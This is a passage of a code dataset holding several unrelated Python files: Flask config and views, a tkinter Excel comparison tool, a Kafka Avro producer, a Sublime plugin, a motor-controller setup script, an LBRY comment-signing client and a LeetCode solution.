\")\")\n\t\telse:\n\t\t\tself.users_found.append(username)\n\n\t\t\t#Add individual users one-by-one to the scraper file (append, not overwrite)\n\t\t\twith open(self.sub.scraper_users, 'a') as f:\n\t\t\t\tf.write(\"%s\\n\" % username)\n\n\t\t\treturn True\n\t\treturn False\n","sub_path":"runscrape.py","file_name":"runscrape.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"533361274","text":"import os\nimport sys\n\nbasedir = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\n\n# SQLite URI compatible\nWIN = sys.platform.startswith('win')\nif WIN:\n prefix = 'sqlite:///'\nelse:\n prefix = 'sqlite:////'\n\n\nclass BaseConfig:\n SECRET_KEY = os.getenv('SECRET_KEY', 'esterTion')\n\n ADMIN_EMAIL = os.getenv('ADMIN_EMAIL', '150402207@sut.edu.cn')\n\n\nclass DevelopmentConfig(BaseConfig):\n DEBUG = True\n\n SQLALCHEMY_DATABASE_URI = prefix + os.path.join(basedir, 'data-dev.db')\n\n\nclass TestingConfig(BaseConfig):\n TESTING = True\n\n SQLALCHEMY_DATABASE_URI = 'sqlite:///' # in-memory database\n\n\nclass ProductionConfig(BaseConfig):\n DEBUG = False\n\n\nconfig = {\n 'development': DevelopmentConfig,\n 'testing': TestingConfig,\n 'production': ProductionConfig,\n 'default': ProductionConfig\n}\n","sub_path":"main/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"433227347","text":"import pandas as pd\r\nimport tkinter as tk\r\nfrom tkinter.ttk import Combobox\r\nfrom tkinter import filedialog\r\n\r\nroot = tk.Tk()\r\n\r\n#Changes the window size\r\nroot.geometry(\"400x400+120+120\")\r\n\r\n# Reads the excel file so you can work with it in python\r\n#Will replace this with buttons to export your chosen file\r\n\r\n#Home\r\ndf1 = pd.read_excel(r'C:\\Users\\Rislynn\\Documents\\Python Pandas Excels\\VizData.xlsx')\r\ndf2 = pd.read_excel(r'C:\\Users\\Rislynn\\Documents\\Python Pandas Excels\\CustomerData.xlsx')\r\n\r\n#work\r\n#df1 = pd.read_excel(r'C:\\Users\\Tonya.Reeves\\Documents\\Python\\ExcelComparev1\\VizData.xlsx')\r\n#df2 = pd.read_excel(r'C:\\Users\\Tonya.Reeves\\Documents\\Python\\ExcelComparev1\\CustomerData.xlsx')\r\n\r\n#Below to for potential use\r\n#df1 = pd.DataFrame()\r\n#df2 = pd.DataFrame()\r\n\r\n# Returns the list of columns\r\ndf1columns = df1.columns\r\ndf2columns = df2.columns\r\n\r\n#Initializes a list of the columns to be used in the combo box\r\ndf1column_list = []\r\ndf2column_list = []\r\n\r\ndef column_list_creator(dfxcolumns,dfxcol_list):\r\n#Creates a list out of the data frame columns\r\n #dfxcolumns are the columns of the data frame\r\n #dfxcol_list is the list you would like the columns inserted into\r\n for i in range(len(dfxcolumns)):\r\n dfxcol_list.append(dfxcolumns[i])\r\n return dfxcol_list\r\n\r\ndf1column_list = column_list_creator(df1columns,df1column_list)\r\ndf2column_list = column_list_creator(df2columns,df2column_list)\r\n\r\n#Will be used for letting the user import the excel\r\n#currently doesn't work as intended\r\ndef getexcel1():\r\n #global df\r\n import_file_path = filedialog.askopenfilename()\r\n df1 = pd.read_excel(import_file_path)\r\n\r\n\r\ndef getexcel2():\r\n #global df2\r\n import_file_path = filedialog.askopenfilename()\r\n df2 = pd.read_excel(import_file_path)\r\n return df2 #print(df2)\r\n\r\n\r\n#End user will add values to this list using the drop down\r\ndf1columns_keep = []\r\ndf2columns_keep = []\r\n# this list must be in the order you want in the resulting excel.\r\n# First set of columns will be the predicate columns and after that must be ordered to match df2\r\n\r\ndef clear_listbox(lb_dfxcols_keep):\r\n #Deletes all entries of the list box\r\n lb_dfxcols_keep.delete(0, \"end\")\r\n\r\ndef update_listbox(dfxcolumns_keep,lb_dfxcols_keep):\r\n #populates the listbox\r\n for cols in dfxcolumns_keep:\r\n lb_dfxcols_keep.insert(\"end\", cols)\r\n\r\ndef add_col(combodfx,dfxcolumns_keep,lb_dfxcols_keep):\r\n #Adds the selected value from the drop down to our list\r\n x = combodfx.get() #Gets the currently selected value from the combo (drop) box\r\n if x != 'select':\r\n dfxcolumns_keep.append(x) #adds the value of the drop box to the list of columns\r\n #Refreshes the list box to reflect the changes\r\n clear_listbox(lb_dfxcols_keep)\r\n update_listbox(dfxcolumns_keep, lb_dfxcols_keep)\r\n\r\ndef del_col(combodfx,dfxcolumns_keep,lb_dfxcols_keep):\r\n x = combodfx.get()\r\n if x != 'select':\r\n dfxcolumns_keep.remove(x)\r\n #Refreshes the list box to reflect the changes\r\n clear_listbox(lb_dfxcols_keep)\r\n update_listbox(dfxcolumns_keep, lb_dfxcols_keep)\r\n\r\ndef move_down(combodfx,dfxcolumns_keep,lb_dfxcols_keep):\r\n x = combodfx.get()\r\n if x != 'select':\r\n oldindex = dfxcolumns_keep.index(x)\r\n newindex = oldindex + 1\r\n dfxcolumns_keep.remove(x)\r\n dfxcolumns_keep.insert(newindex, x)\r\n #Refreshes the list box to reflect the changes\r\n clear_listbox(lb_dfxcols_keep)\r\n update_listbox(dfxcolumns_keep, lb_dfxcols_keep)\r\n\r\ndef move_up(combodfx,dfxcolumns_keep,lb_dfxcols_keep):\r\n x = combodfx.get()\r\n if x != 'select':\r\n oldindex = dfxcolumns_keep.index(x)\r\n newindex = oldindex - 1\r\n #Deletes the current entry\r\n dfxcolumns_keep.remove(x)\r\n #Adds the entry into the list at the desired location\r\n dfxcolumns_keep.insert(newindex, x)\r\n #Refreshes the list box to reflect the changes\r\n clear_listbox(lb_dfxcols_keep)\r\n update_listbox(dfxcolumns_keep, lb_dfxcols_keep)\r\n\r\n#Need a function to take the columns you're keeping and create a dataframe\r\n#Then merge the resulting data frames\r\n#And create variance columns\r\n#Lastly save the excel\r\n\r\n#doesn't work yet\r\ndef update_combo_list():\r\n list = column_list_creator(df1columns,df1column_list)\r\n combodf1['values']= list\r\n\r\n#Following 3 lines create the combo box aka drop down list\r\n#Left\r\n#combodf1 = Combobox(root, values=df1column_list, width=15)\r\ncombodf1 = Combobox(root, postcommand = update_combo_list, width=15)\r\ncombodf1.set(\"select\")\r\ncombodf1.grid(row=2, column=0)\r\n\r\n\r\n\r\n#Right\r\ncombodf2 = Combobox(root, values=df2column_list, width=15)\r\ncombodf2.set(\"select\")\r\ncombodf2.grid(row=2, column=1)\r\n\r\n#Creates the listboxes\r\n#Left\r\nlb_df1cols_keep = tk.Listbox(root)\r\nlb_df1cols_keep.grid(row=8, column=0)\r\n\r\n#Right\r\nlb_df2cols_keep = tk.Listbox(root)\r\nlb_df2cols_keep.grid(row=8, column=1)\r\n\r\n# Functions for the buttons, they can't have arguments so need to use lambdas or wrappers\r\ndef add_col1():\r\n return add_col(combodf1, df1columns_keep, lb_df1cols_keep)\r\ndef del_col1():\r\n return del_col(combodf1, df1columns_keep, lb_df1cols_keep)\r\ndef move_down1():\r\n return move_down(combodf1, df1columns_keep, lb_df1cols_keep)\r\ndef move_up1():\r\n return move_up(combodf1, df1columns_keep, lb_df1cols_keep)\r\n\r\n#Wrappers for df2\r\ndef add_col2():\r\n return add_col(combodf2, df2columns_keep, lb_df2cols_keep)\r\ndef del_col2():\r\n return del_col(combodf2, df2columns_keep, lb_df2cols_keep)\r\ndef move_down2():\r\n return move_down(combodf2, df2columns_keep, lb_df2cols_keep)\r\ndef move_up2():\r\n return move_up(combodf2, df2columns_keep, lb_df2cols_keep)\r\n\r\n#Buttons\r\n#Import Buttons\r\nimport_btn_1 = tk.Button(root, text=\"Import Excel 1\", command=getexcel1).grid(row=0, column=0)\r\nimport_btn_2 = tk.Button(root, text=\"Import Excel 2\", command=getexcel2).grid(row=0, column=1)\r\n\r\n#Left Buttons\r\nleft_add = tk.Button(root, text=\"Add\", command=add_col1).grid(row=4, column=0)\r\nleft_del = tk.Button(root, text=\"Delete\", command=del_col1).grid(row=5, column=0)\r\nleft_up = tk.Button(root, text=\"Dwn\", command=move_down1).grid(row=7, column=0)\r\nleft_dwn = tk.Button(root, text=\"Up\", command=move_up1).grid(row=6, column=0)\r\n\r\n#Right Buttons\r\nright_add = tk.Button(root, text=\"Add\", command=add_col2).grid(row=4, column=1)\r\nright_del = tk.Button(root, text=\"Delete\", command=del_col2).grid(row=5, column=1)\r\nright_up = tk.Button(root, text=\"Dwn\", command=move_down2).grid(row=7, column=1)\r\nright_dwn = tk.Button(root, text=\"Up\", command=move_up2).grid(row=6, column=1)\r\n\r\n#Adds the text for Number Key Columns\r\nlbl_title = tk.Label(root, text=\"Enter the number of key columns\")\r\nlbl_title.grid(row=9, column=0)\r\n\r\n#Adds free entry field for number of key columns\r\ntxt_input = tk.Entry(root, width=15)\r\ntxt_input.grid(row=9, column=1)\r\n\r\n#Button for Merging\r\nmerge_btn = tk.Button(root, text=\"Merge\", command=move_up2).grid(row=10, column=1)\r\n\r\nroot.mainloop()\r\n\r\n#Need to not let the user add the same column twice\r\n#Columns to keep list size must be the same for both data frames\r\n\r\n#Error handling for move up/down/delete if the items doesn't exist","sub_path":"ExcelComparev3.py","file_name":"ExcelComparev3.py","file_ext":"py","file_size_in_byte":7204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"263551128","text":"\"\"\"\nfilename: confluent_kafka.py\nname: confluent_kafka\n\ndescription:\nworking with kafka confluent. reading data from read files class and sending to\nkafka using schema registry option. also using some producer settings\n\"\"\"\n\n# import libraries\nfrom libs import read_files\nfrom confluent_kafka import avro\nfrom confluent_kafka.avro import AvroProducer\nfrom configs import config\nfrom random import seed\n\n# incremental seed of 1\nseed(1)\n\n\nclass Kafka(object):\n\n # use __slots__ to explicitly declare all schema members\n __slots__ = [\"review_id\", \"business_id\", \"user_id\", \"stars\", \"useful\", \"date\"]\n\n # define init function based on the expected input\n def __init__(self, review_id=None, business_id=None, user_id=None, stars=None, useful=None, date=None):\n\n self.review_id = review_id\n self.business_id = business_id\n self.user_id = user_id\n self.stars = stars\n self.useful = useful\n self.date = date\n\n # avro does not support code generation\n # need to provide dict representation\n def to_dict(self):\n\n return {\n \"review_id\": self.review_id,\n \"business_id\": self.business_id,\n \"user_id\": self.user_id,\n \"stars\": self.stars,\n \"useful\": self.useful,\n \"date\": self.date\n }\n\n # delivery reports for producer.poll\n # callback with extra argument\n def on_delivery(self, err, msg, obj):\n\n if err is not None:\n print('message delivery failed for user {} with error {}'.format(obj.name, err))\n else:\n print('message successfully produced to {} [{}] at offset {}'.format(msg.topic(), msg.partition(), msg.offset()))\n\n def avro_producer(self, broker, schema_registry, topic, gen_dt_rows):\n\n # avro schema [key] & [value]\n key_schema_str = config.key_schema_str\n value_schema_str = config.value_schema_str\n\n # load avro definition\n key_schema = avro.loads(key_schema_str)\n value_schema = avro.loads(value_schema_str)\n\n # get data to insert\n get_data = read_files.CSV().csv_reader(gen_dt_rows)\n\n # init producer using key & value schema\n producer = AvroProducer(\n {\n # client id\n \"client.id\": 'sr-py-yelp-stream-app',\n # kafka broker server\n \"bootstrap.servers\": broker,\n # schema registry url\n \"schema.registry.url\": schema_registry,\n # eos = exactly once semantics [options]\n \"enable.idempotence\": \"true\",\n \"max.in.flight.requests.per.connection\": 1,\n \"retries\": 100,\n \"acks\": \"all\",\n # max number of messages batched in one message set\n \"batch.num.messages\": 1000,\n # delay in ms to wait for messages in queue\n \"queue.buffering.max.ms\": 100,\n # max number of messages on queue\n \"queue.buffering.max.messages\": 1000,\n # wait messages in queue before send to brokers (batch)\n \"linger.ms\": 100\n },\n default_key_schema=key_schema,\n default_value_schema=value_schema)\n\n # loop to insert data\n inserts = 0\n while inserts < len(get_data):\n\n # instantiate new records, execute callbacks\n record = Kafka()\n\n try:\n\n # map columns and access using dict values\n record.review_id = get_data[inserts]['review_id']\n record.business_id = get_data[inserts]['business_id']\n record.user_id = get_data[inserts]['user_id']\n record.stars = get_data[inserts]['stars']\n record.useful = get_data[inserts]['useful']\n record.date = get_data[inserts]['date']\n\n # print(record.to_dict())\n\n # server on_delivery callbacks from previous asynchronous produce()\n producer.poll(0)\n\n # message passed to the delivery callback will already be serialized.\n # to aid in debugging we provide the original object to the delivery callback.\n producer.produce(\n topic=topic,\n key={'review_id': record.review_id},\n value=record.to_dict(),\n callback=lambda err, msg, obj=record: self.on_delivery(err, msg, obj)\n )\n\n except BufferError:\n print(\"buffer full\")\n producer.poll(0.1)\n\n except ValueError:\n print(\"invalid input\")\n raise\n\n except KeyboardInterrupt:\n raise\n\n # increment values\n inserts += 1\n\n print(\"flushing records...\")\n\n # buffer messages to send\n producer.flush()\n","sub_path":"producer/reviews/libs/sr_confluent_kafka.py","file_name":"sr_confluent_kafka.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"178342280","text":"import sublime, sublime_plugin\nfrom .utils import *\nfrom .CleverDelete import clean_up_right, clean_up_left\n\n\ndef test():\n\tx = a + b * c-1\n\tx += a * b * [plop(c + d) + 1, c(), p]\n\tx = -5 - 4.0 + .9\n\tself.view.sel().clear((a * b), m)\n\t# a = self . view .9\n\t# c++\n\t# x = -5 - 4.0e5\n\t# int x = p->test();\n\t# int x = 5*p;\n\n\nclass CleverMoveCommand(sublime_plugin.TextCommand):\n\n\tdef run(self, edit, type, direction):\n\t\tforward = direction == \"forward\"\n\n\t\tregions = list(self.view.sel())\n\n\t\tself.view.sel().clear()\n\n\t\tfor region in reversed(regions):\n\t\t\tbegin, end = region.begin(), region.end()\n\n\t\t\tif forward:\n\t\t\t\tend = max(find_piece_end(self.view, begin, end, forward), end + 1)\n\t\t\t\t# end = clean_up_right(self.view, begin, end)\n\t\t\t\tregion = sublime.Region(end, end)\n\t\t\telse:\n\t\t\t\tbegin = min(find_piece_end(self.view, begin, end, forward), begin - 1)\n\t\t\t\t# begin = clean_up_left(self.view, begin, end)\n\t\t\t\tregion = sublime.Region(begin, begin)\n\n\n\t\t\tself.view.sel().add(region)\n\t\t\tself.view.show(region)\n\n\n","sub_path":"CleverMove.py","file_name":"CleverMove.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"4496271","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#### - - coding: latin-1 -*-\n\n# import dependency libraries ..................................................\n\nimport sys, traceback\nfrom fractions import Fraction\n\nfrom lib.enums import Orientation\nfrom lib.logger import Logger, Level\n\n# ..............................................................................\nclass MotorConfigurer():\n '''\n Configures the Thunderborg motor controller. \n '''\n def __init__(self, ros, config, level):\n self._log = Logger(\"mtrconf\", level)\n if config is None:\n raise ValueError('null configuration argument.')\n self._config = config\n\n # ..........................................................................\n def configure(self):\n '''\n Import the ThunderBorg library, then configure and return the Motors.\n '''\n self._log.info('configure thunderborg & motors...')\n try:\n self._log.info('importing ThunderBorg...')\n import lib.ThunderBorg3 as ThunderBorg\n self._log.info('successfully imported ThunderBorg.')\n TB = ThunderBorg.ThunderBorg(Level.INFO) # create a new ThunderBorg object\n TB.Init() # set the board up (checks the board is connected)\n self._log.info('successfully instantiated ThunderBorg.')\n\n if not TB.foundChip:\n boards = ThunderBorg.ScanForThunderBorg()\n if len(boards) == 0:\n self._log.error('No ThunderBorg found, check you are attached :)')\n else:\n self._log.error('No ThunderBorg at address %02X, but we did find boards:' % (TB.i2cAddress))\n for board in boards:\n self._log.info(' %02X (%d)' % (board, board))\n self._log.error('If you need to change the I²C address change the setup line so it is correct, e.g. TB.i2cAddress = 0x{}'.format(boards[0]))\n sys.exit(1)\n TB.SetLedShowBattery(True)\n \n # initialise ThunderBorg ...........................\n self._log.debug('getting battery reading...')\n # get battery voltage to determine max motor power\n # could be: Makita 12V or 18V power tool battery, or 12V line supply\n voltage_in = TB.GetBatteryReading()\n if voltage_in is None:\n raise OSError('cannot continue: cannot read battery voltage.')\n self._log.info('voltage in: {:>5.2f}V'.format(voltage_in))\n # voltage_in = 20.5\n # maximum motor voltage\n voltage_out = 9.0\n self._log.info('voltage out: {:>5.2f}V'.format(voltage_out))\n if voltage_in < voltage_out:\n raise OSError('cannot continue: battery voltage too low ({:>5.2f}V).'.format(voltage_in))\n # Setup the power limits\n if voltage_out > voltage_in:\n _max_power_ratio = 1.0\n else:\n _max_power_ratio = voltage_out / float(voltage_in)\n # convert float to ratio format\n self._log.info('battery level: {:>5.2f}V; motor voltage: {:>5.2f}V; maximum power ratio: {}'.format(voltage_in, voltage_out, \\\n str(Fraction(_max_power_ratio).limit_denominator(max_denominator=20)).replace('/',':')))\n\n except Exception as e:\n self._log.error('unable to import ThunderBorg: {}'.format(e))\n traceback.print_exc(file=sys.stdout)\n sys.exit(1)\n\n # now import motors\n from lib.motors import Motors\n try:\n self._log.info('getting raspberry pi...')\n self._log.info('configuring motors...')\n self._motors = Motors(self._config, TB, Level.INFO)\n self._motors.get_motor(Orientation.PORT).set_max_power_ratio(_max_power_ratio)\n self._motors.get_motor(Orientation.STBD).set_max_power_ratio(_max_power_ratio)\n return self._motors\n except OSError as oe:\n self._log.error('failed to configure motors: {}'.format(oe))\n# sys.stderr = DevNull()\n sys.exit(1)\n\n \n#EOF\n","sub_path":"lib/motor_configurer.py","file_name":"motor_configurer.py","file_ext":"py","file_size_in_byte":4211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"110990853","text":"import argparse\nimport webbrowser\n\n__version__ = \"0.1.0\"\n\nCHROME_PATH = r\"C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s\"\n\n\ndef get_parser():\n \"\"\"\n 解析命令行参数\n \"\"\"\n parser = argparse.ArgumentParser(description=\"Open url with your browser.\")\n parser.add_argument(\n \"url\",\n metavar=\"URL\",\n type=str,\n help=\"the url you want to open with browser\",\n )\n parser.add_argument(\n \"-v\",\n \"--version\",\n action=\"store_true\",\n help=\"displays the current version of `open`\",\n )\n return parser\n\n\ndef command_line_runner():\n \"\"\"\n 执行命令行操作\n \"\"\"\n parser = get_parser()\n args = vars(parser.parse_args())\n\n if args[\"version\"]:\n print(__version__)\n return\n\n if not args[\"url\"]:\n parser.print_help()\n return\n\n webbrowser.get(CHROME_PATH).open(args[\"url\"])\n\n\nif __name__ == \"__main__\":\n command_line_runner()\n","sub_path":"open_browser.py","file_name":"open_browser.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"503307397","text":"import logging\nimport time\nimport hashlib\nimport binascii\n\nimport ecdsa\nfrom lbry import utils\nfrom lbry.crypto.hash import sha256\nfrom lbry.wallet.transaction import Output\n\nlog = logging.getLogger(__name__)\n\n\ndef get_encoded_signature(signature):\n signature = signature.encode() if isinstance(signature, str) else signature\n r = int(signature[:int(len(signature) / 2)], 16)\n s = int(signature[int(len(signature) / 2):], 16)\n return ecdsa.util.sigencode_der(r, s, len(signature) * 4)\n\n\ndef cid2hash(claim_id: str) -> bytes:\n return binascii.unhexlify(claim_id.encode())[::-1]\n\n\ndef is_comment_signed_by_channel(comment: dict, channel: Output, abandon=False):\n if isinstance(channel, Output):\n try:\n signing_field = comment['comment_id'] if abandon else comment['comment']\n pieces = [\n comment['signing_ts'].encode(),\n cid2hash(comment['channel_id']),\n signing_field.encode()\n ]\n return Output.is_signature_valid(\n get_encoded_signature(comment['signature']),\n sha256(b''.join(pieces)),\n channel.claim.channel.public_key_bytes\n )\n except KeyError:\n pass\n return False\n\n\ndef sign_comment(comment: dict, channel: Output, abandon=False):\n timestamp = str(int(time.time()))\n signing_field = comment['comment_id'] if abandon else comment['comment']\n pieces = [timestamp.encode(), channel.claim_hash, signing_field.encode()]\n digest = sha256(b''.join(pieces))\n signature = channel.private_key.sign_digest_deterministic(digest, hashfunc=hashlib.sha256)\n comment.update({\n 'signature': binascii.hexlify(signature).decode(),\n 'signing_ts': timestamp\n })\n\n\nasync def jsonrpc_post(url: str, method: str, params: dict = None, **kwargs) -> any:\n params = params or {}\n params.update(kwargs)\n json_body = {'jsonrpc': '2.0', 'id': None, 'method': method, 'params': params}\n async with utils.aiohttp_request('POST', url, json=json_body) as response:\n try:\n result = await response.json()\n return result['result'] if 'result' in result else result\n except Exception as cte:\n log.exception('Unable to decode response from server: %s', cte)\n return await response.text()\n","sub_path":"lbry/extras/daemon/comment_client.py","file_name":"comment_client.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"205674608","text":"class Solution:\n # @param {character[][]} matrix\n # @return {integer}\n def maximalRectangle(self, matrix):\n ## reference: http://www.cnblogs.com/easonliu/p/3657489.html\n if len(matrix) < 1:\n return 0;\n n = len(matrix);\n if n == 0:\n return 0;\n m = len(matrix[0]);\n if m == 0:\n return 0;\n lines = [[0 for i in range(m)] for j in range(n)]\n\n for i in range(n):\n for j in range(m):\n if i == 0:\n lines[i][j] = 1 if matrix[i][j] == '1' else 0;\n else:\n lines[i][j] += lines[i-1][j] + 1 if matrix[i][j] == '1' else 0;\n\n maxRec = 0;\n for i in range(n):\n temRec = self.maxArea(lines[i]);\n maxRec = max(maxRec, temRec);\n\n return maxRec;\n def maxArea(self, line):\n maxArea = 0;\n line.append(0);\n i = 0;\n stack = [];\n while i < len(line):\n if stack == [] or line[stack[-1]] <= line[i]:\n stack.append(i);\n i += 1;\n else:\n t = stack.pop();\n maxArea = max(maxArea, line[t] * (i if stack == [] else i - stack[-1] - 1));\n\n return maxArea;\n\nif __name__ == '__main__':\n obj = Solution();\n print(obj.maximalRectangle([['1','1'], ['1', '1']]))","sub_path":"All Code/No.85 Maximal Rectangle.py","file_name":"No.85 Maximal Rectangle.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"185458858","text":"import copy\nimport json\nimport math\nimport string\nfrom collections import Counter\n\nimport flask\nfrom flask import request\n\nimport core.utils.entity_type as ent\nfrom core.search.query_info import paper_info_db_check_multiquery\nfrom core.search.query_name import (\n affiliation_name_query, author_name_query, conference_name_query,\n fos_name_query, get_conf_journ_display_names, journal_name_query,\n paper_name_query)\nfrom core.search.query_paper import get_all_paper_ids\nfrom core.utils.get_stats import get_stats\nfrom core.utils.load_tsv import tsv_to_dict\nfrom webapp.graph import ReferenceFlower, compare_flowers\nfrom webapp.shortener import decode_filters, url_decode_info, url_encode_info\nfrom webapp.utils import *\n\nfrom webapp.front_end_helper import make_response_data\nfrom webapp.konigsberg_client import KonigsbergClient\n\nkb_client = KonigsbergClient('http://localhost:8081')\n\nflower_leaves = [ ('author', [ent.Entity_type.AUTH])\n , ('conf' , [ent.Entity_type.CONF, ent.Entity_type.JOUR])\n , ('inst' , [ent.Entity_type.AFFI])\n , ('fos' , [ent.Entity_type.FSTD]) ]\nid_helper_dict = {\n \"conference\": \"ConferenceSeriesId\",\n \"journal\": \"JournalId\",\n \"institution\": \"AffiliationId\",\n \"paper\": \"PaperId\",\n \"author\": \"AuthorId\",\n \"topic\": \"FieldOfStudyId\"\n}\n\nNUM_THREADS = 8\nNUM_NODE_INFO = 5\n\n\nblueprint = flask.Blueprint('views', __name__)\n\n\n@blueprint.route('/autocomplete')\ndef autocomplete():\n entity_type = request.args.get('option')\n data = loadList(entity_type)\n return flask.jsonify(data)\n\n\n@blueprint.route('/query')\ndef query():\n entity_type = \"paper\" # support paper search only\n entity_title = request.args.get('title')\n data = filter_papers(entity_title, query_entity([entity_type], entity_title))\n paper_ids = [p[0][id_helper_dict[entity_type]] for p in data]\n doc_id = url_encode_info(paper_ids=paper_ids, name=entity_title)\n url_base = f\"http://influencemap.ml/submit/?id={doc_id}\"\n res = {\n \"search_result\": data,\n \"paper_ids\": paper_ids,\n \"flower_url\": url_base\n }\n return flask.jsonify(res)\n\n\n@blueprint.route('/')\ndef main():\n return flask.render_template(\"main.html\")\n\n\n@blueprint.route('/browse')\ndef browse():\n browse_list = load_gallery()\n return flask.render_template(\n \"browse.html\",\n browse_groups=browse_list, cache_data=[])\n\n\n@blueprint.route('/create', methods=['GET', 'POST'])\ndef create():\n\n json_data = request.form.get('data')\n data = {} if json_data is None else json.loads(json_data)\n keyword = data.get('keyword', '')\n search = data.get('search') == 'true'\n option = data.get('option', '')\n\n # render page with data\n return flask.render_template(\n \"create.html\",\n navbarOption=get_navbar_option(keyword, option),\n search=search)\n\n\n\n@blueprint.route('/curate')\ndef curate():\n types = get_cache_types()\n data = json.loads(request.form.get('data'))\n keyword = data.get('keyword', '')\n search = data.get('search') == 'true'\n option = data.get('option')\n\n # render page with data\n return flask.render_template(\n \"curate.html\",\n navbarOption=get_navbar_option(keyword, option),\n search=search,\n types=types)\n\n\n@blueprint.route('/check_record')\ndef check_record():\n exists, names = check_browse_record_exists(request.form.get(\"type\"), request.form.get(\"name\"))\n return flask.jsonify({\"exists\": exists, \"names\": names})\n\n\n@blueprint.route('/crate_load_file')\ndef curate_load_file():\n filename = request.form.get(\"filename\")\n try:\n data = tsv_to_dict(filename)\n success = \"true\"\n except FileNotFoundError:\n data = {}\n success = \"false\"\n return flask.jsonify({'data': data, 'success': success})\n\n\n\ns = {\n 'author': ('

    {DisplayName}

    Papers: {PaperCount}, Citations: {CitationCount}

    '),\n 'conference': ('

    {DisplayName}

    Papers: {PaperCount}, Citations: {CitationCount}

    '),\n 'institution': ('

    {DisplayName}

    Papers: {PaperCount}, Citations: {CitationCount}

    '),\n 'journal': ('

    {DisplayName}

    Papers: {PaperCount}, Citations: {CitationCount}

    '),\n 'paper': ('

    {OriginalTitle}

    Citations: {CitationCount}

    '),\n 'topic': ('

    {DisplayName} (Level {Level})

    Papers: {PaperCount}, Citations: {CitationCount}

    ')\n}\n\n\n@blueprint.route('/search', methods=['POST'])\ndef search():\n request_data = json.loads(request.form.get(\"data\"))\n keyword = request_data.get(\"keyword\")\n entityType = request_data.get(\"option\")\n exclude = set(string.punctuation)\n keyword = ''.join(ch for ch in keyword if ch not in exclude)\n keyword = keyword.lower()\n keyword = \" \".join(keyword.split())\n\n print(entityType, keyword)\n data = query_entity(entityType, keyword)\n for i in range(len(data)):\n entity = {'data': data[i][0]}\n entity['display-info'] = s[data[i][1]].format(**entity['data'])\n if \"Affiliation\" in entity['data']: entity['display-info'] = entity['display-info'][0:-4] + \", Institution: {}

    \".format(entity['data'][\"Affiliation\"])\n if \"Authors\" in entity['data']: entity['display-info'] += \"

    Authors: {}

    \".format(\", \".join(entity['data'][\"Authors\"]))\n entity['table-id'] = \"{}_{}\".format(data[i][1], entity['data'][id_helper_dict[data[i][1]]])\n data[i] = entity\n return flask.jsonify({'entities': data})\n\n\n\n@blueprint.route('/manualcache', methods=['POST'])\ndef manualcache():\n cache_dictionary = (json.loads(request.form.get('cache')))\n paper_action = request.form.get('paperAction')\n #saveNewBrowseCache(cache_dictionary)\n\n if paper_action == \"batch\":\n paper_ids = get_all_paper_ids(cache_dictionary[\"EntityIds\"])\n addToBatch(paper_ids)\n if paper_action == \"cache\":\n paper_ids = get_all_paper_ids(cache_dictionary[\"EntityIds\"])\n paper_info_db_check_multiquery(paper_ids)\n return flask.jsonify({})\n\n\n@blueprint.route('/submit/', methods=['GET', 'POST'])\ndef submit():\n pub_years = None\n cit_years = None\n self_citations = False\n coauthors = True\n if request.method == \"GET\":\n doc_id = request.args[\"id\"]\n ids, flower_name, curated_flag = url_decode_info(doc_id)\n author_ids = ids.author_ids\n affiliation_ids = ids.affiliation_ids\n conference_ids = ids.conference_series_ids\n fos_ids = ids.field_of_study_ids\n journal_ids = ids.journal_ids\n paper_ids = ids.paper_ids\n\n encoded_filters = request.args.get(\"filters\")\n if encoded_filters is not None:\n decoded_filters = decode_filters(encoded_filters)\n pub_years = decoded_filters.pub_years\n cit_years = decoded_filters.cit_years\n self_citations = decoded_filters.self_citations\n coauthors = decoded_filters.coauthors\n else:\n curated_flag = False\n data_str = request.form['data']\n data = json.loads(data_str)\n entities = data['entities']\n author_ids = list(map(int, entities['AuthorIds']))\n affiliation_ids = list(map(int, entities['AffiliationIds']))\n conference_ids = list(map(int, entities['ConferenceIds']))\n journal_ids = list(map(int, entities['JournalIds']))\n paper_ids = list(map(int, entities['PaperIds']))\n fos_ids = list(map(int, entities['FieldOfStudyIds']))\n\n flower_name = data.get('flower_name')\n doc_id = url_encode_info(\n author_ids=author_ids, affiliation_ids=affiliation_ids,\n conference_series_ids=conference_ids, field_of_study_ids=fos_ids,\n journal_ids=journal_ids, paper_ids=paper_ids, name=flower_name)\n\n if not flower_name:\n first_nonempty_id_list = (author_ids or affiliation_ids\n or conference_ids or journal_ids\n or paper_ids or fos_ids)\n if not first_nonempty_id_list:\n raise ValueError('no entities')\n name_lookup_f = {\n id(author_ids): author_name_query,\n id(affiliation_ids): affiliation_name_query,\n id(conference_ids): conference_name_query,\n id(journal_ids): journal_name_query,\n id(paper_ids): paper_name_query,\n id(fos_ids): fos_name_query}[id(first_nonempty_id_list)]\n flower_name = name_lookup_f([first_nonempty_id_list[0]])[0]\n total_entities = (len(author_ids) + len(affiliation_ids)\n + len(conference_ids) + len(journal_ids)\n + len(paper_ids) + len(fos_ids))\n if total_entities > 1:\n flower_name += f\" +{total_entities - 1} more\"\n\n flower = kb_client.get_flower(\n author_ids=author_ids, affiliation_ids=affiliation_ids,\n conference_series_ids=conference_ids, field_of_study_ids=fos_ids,\n journal_ids=journal_ids, paper_ids=paper_ids, pub_years=pub_years,\n cit_years=cit_years, 